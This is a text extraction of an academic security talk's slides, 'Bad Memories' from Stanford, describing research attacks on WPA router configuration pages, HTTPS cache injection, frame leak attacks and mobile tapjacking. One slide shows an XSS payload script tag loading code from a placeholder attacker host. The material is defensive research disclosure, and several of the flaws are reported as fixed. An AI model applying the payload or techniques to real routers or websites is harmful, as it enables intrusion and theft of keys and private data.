Vous êtes sur la page 1sur 140

Bad Memories

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Stanford University

Catcher

Bad Memories leads to conict


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

How to break a security mechanism

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

How to break a security mechanism

1. Find a design aw

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

How to break a security mechanism

1. Find a design aw 2. Exploit implementation vulnerability

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

How to break a security mechanism

1. Find a design aw 2. Exploit implementation vulnerability 3. Make it irrelevant

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

How to break a security mechanism

1. Find a design aw 2. Exploit implementation vulnerability 3. Make it irrelevant Focus of this talk

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Irrelevant ?

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Irrelevant ?

Secure protocol

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Irrelevant ?

Secure protocol

Side Channel

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Irrelevant ?

Secure protocol

Side Channel

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Outline

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Outline

Breaking into a WPA network with a webpage

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Outline

Breaking into a WPA network with a webpage Attacking HTTPS with cache injection

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Outline

Breaking into a WPA network with a webpage Attacking HTTPS with cache injection Stealing private data with frame leak attacks

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Outline

Breaking into a WPA network with a webpage Attacking HTTPS with cache injection Stealing private data with frame leak attacks Owning phone with clickjacking on steroids

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Breaking into a WPA network with a Webpage

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt Dan Boneh Rydstedt,

Bad memories

http://ly.tl/t9

Toward a secure world ?

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Toward a secure world ?

WEP

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Toward a secure world ?

WEP

WPA

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Toward a secure world ?

WEP

WPA

Secret key are still stored via a web interface


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Some routers

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Ads poisoning

http://blog.avast.com/2010/02/18/ads-poisoning--jsprontex
Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Browser same origin policy (SOP)

http://evil.com

http://mail.google.com

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser same origin policy (SOP)

Post

http://evil.com

http://mail.google.com

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser same origin policy (SOP)

Post Read
http://evil.com http://mail.google.com

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page


.js

Internet

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Internet

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page


192.168.0.1

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

192.168.1.1

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

192.168.2.1

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Same origin policy limitation

Same origin policy prevents us from knowing what kind of authentication the router use

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Same origin policy limitation

Same origin policy prevents us from knowing what kind of authentication the router use

Firefox vulnerabilities

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page


<img src=e.jpg/>

192.168.2.1:1372

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page


<img src=e.jpg/>

192.168.2.1:1372

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Brand A Model XY

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Same origin policy limitation

Same origin policy prevents us from reading router WPA key

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Same origin policy limitation

Same origin policy prevents us from reading router WPA key

Router XSS vulnerabilities (5 / 8 brands)


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Getting the key from a web page

<script src=http://badguy.com/script.js/>

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

<script src=http://badguy.com/script.js/>

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Getting the key from a web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

No XSS ?

What if we cant nd a XSS or it is not exploitable ?

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

No XSS ? No problem !

Use Clickjacking drag and drop attack by P. Stone !

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

No XSS ? No problem !

Use Clickjacking drag and drop attack by P. Stone ! 8/8 Router brands are vulnerable to clickjacking

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Internet

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Internet

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Where are you ?

Weve go the key but

were is the network ?

Also found by Sami Kemvar


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Where are you ?

Weve go the key but

were is the network ?

pp a an ! is at re th e r Th fo

Also found by Sami Kemvar


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Firefox Locate me protocol

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Behind the curtain

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

Wi SSID Victim

MAC @ E2:54:D7:1A

Does not accept POST XHR

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

{ "host" : "Test","radio_type" : "unknown", "request_address" : true, "version" : "1.1.0", "wi_towers" : [ {"mac_address" :"E2:54:D7:1A", "ssid" : "Victim" }]}";

Wi SSID Victim

MAC @ E2:54:D7:1A

Does not accept POST XHR

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

{"latitude" : 128.51 , "longitude : : -58.23, address: "Victim location ..."}

Wi SSID Victim

MAC @ E2:54:D7:1A

Does not accept POST XHR

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

{"latitude" : 128.51 , "longitude : : -58.23}

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox Locate me protocol

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

WPA Breaker demo

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attacking HTTPS via cache injection

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt Dan Boneh Rydstedt,

Bad memories

http://ly.tl/t9

The Plan

Background Cache Injection attack Defenses ? By passing the defenses

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Anatomy of web page


js html jpg ash

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Anatomy of web page


js jpg ash

html

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Anatomy of web page


js jpg ash

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Anatomy of web page


js ash

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Anatomy of web page


ash

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Anatomy of web page

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser caching
.html

.html

.js

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser caching
.html

.js

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser caching
.html

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser caching

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Browser caching

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

43% of the Alexa top 100,000 web sites use at least one external javascript library

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Most used libraries


Google analytics JQuery swfobjects Google syndication Prototype Quanta Yahoo Mootool Addthis Facebook Scriptaculous Omniture Dojo 0 3750 7500 11250 15000

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.html

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.html

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Later... ...

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.html

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Attack scenario

.js

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Shared library and cache

A single malicious library cached leads to multiple compromised HTTPS sessions

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Shared library and cache

A single malicious library cached leads to multiple compromised HTTPS sessions

JQuery

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Shared library and cache

A single malicious library cached leads to multiple compromised HTTPS sessions

JQuery

Google analytics

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Defending against injection attack

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

How to inject a malicious shared library ?

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Trust the user

https://twitter.com
Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Trust the user

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Comodo

92% of SSL certicates are invalid


Ivan Ristic Qualys
Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Firefox Study

Site Identity

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

How many user click on the identity info ?

9%

3.4%

1.4%

Mozilla
Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Weakening SSL warning

What about tricking the browser so it doesnt display the standard warning ?

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

IE standard warning

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

IE : demo

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

IE: another inconsistency

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox standard warning

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox challenge

We are not able to remove the warning

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Clickjacking 101

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Clickjacking 101

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Clickjacking 101

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox challenge solved

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox challenge solved

Not able to remove the warning doesnt mean we cant clickjack it

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Firefox clickjacking demo

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Stealing private data using frame leak attacks

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt Dan Boneh Rydstedt,

Bad memories

http://ly.tl/t9

Clickjacking history

Coined by J. Grossman and R. Hansen in 2008 Scrolling attack by P. Stone 2010

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Frame leak attack


src = http://www.m.yahoo.com

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Frame leak attack


src = http://www.m.yahoo.com

id=checkbox-29

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Frame leak attack


src = http://www.m.yahoo.com.com#checkbox-29 id=checkbox-29

leftScroll : 0 topScroll : 10

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Yahoo frame leak attack demo

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

The Facebook clickjacking defense

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

The Facebook clickjacking defense


www.badguy.com

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

The Facebook clickjacking defense


www.badguy.com

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

The Facebook clickjacking defense

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Facebook frame leak attack demo

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Vulnerability xed

Facebook updated their clickjacking defense, they are not displaying your info behind the black div anymore

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Tapjacking: clickjacking on steroid

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt

Bad memories

http://ly.tl/t1

54 Millions of smartphone sold during the 1Q 2010

rise of smartphone (stats)

53% of Alexa top 500 websites have a mobile site

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Phone Usability

Phone browsers provide specic usability features These features give the attacker a complete control

over the screen real estate


The attacker can also zoom to the element of his

choice

Yuan Niu, Francis Hsu, Hao Chen 2008


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Session handling

Browsers kill session cookies, Mobiles dont Non-session cookies tends to live longer on mobile

sites

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt

Slide deck 2010

http://ly.tl/t1

Phishing demo

Phishing demo

Elie Bursztein

Slide deck 2010

http://ly.tl/t1

Spoong the URL bar

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Tapjacking
Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Tapjacking ?

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Tapjacking ?

Tapjacking = clickjacking on steroids


Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

Clickjacking protection among Alexa Top sites


100%

Regular sites

75%

50%

25%

0%

Top 10

Top 100
Bad memories

Top 500

Alexa
http://ly.tl/t9

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Clickjacking protection among Alexa Top sites


100%

mobile sites

75%

50%

25%

0%

Top 10

Top 100
Bad memories

Top 500

Alexa
http://ly.tl/t9

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Tapjacking demo

Twitter demo

Elie Bursztein

Slide deck 2010

http://ly.tl/t1

Vulnerability xed

The Twitter mobile website now use a framebusting code

Elie Bursztein

Slide deck 2010

http://ly.tl/t1

Conclusion
WPA key can be stolen from a web page
Wi network can be geo-localized within 500 meters

Compromise SSL sessions using caching attacks


A single injection allows to target multiple web sites

Break the same origin policy via Frame leak attack Tap-jacking : clickjacking on steroids for smartphones
Mobile sites must prevent framing !
Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh Bad memories http://ly.tl/t9

For the videos and the latest version of the slides go to http://ly.tl/t9

Elie Bursztein, Baptiste Gourdin, Gustav Rydstedt, Dan Boneh

Bad memories

http://ly.tl/t9

Vous aimerez peut-être aussi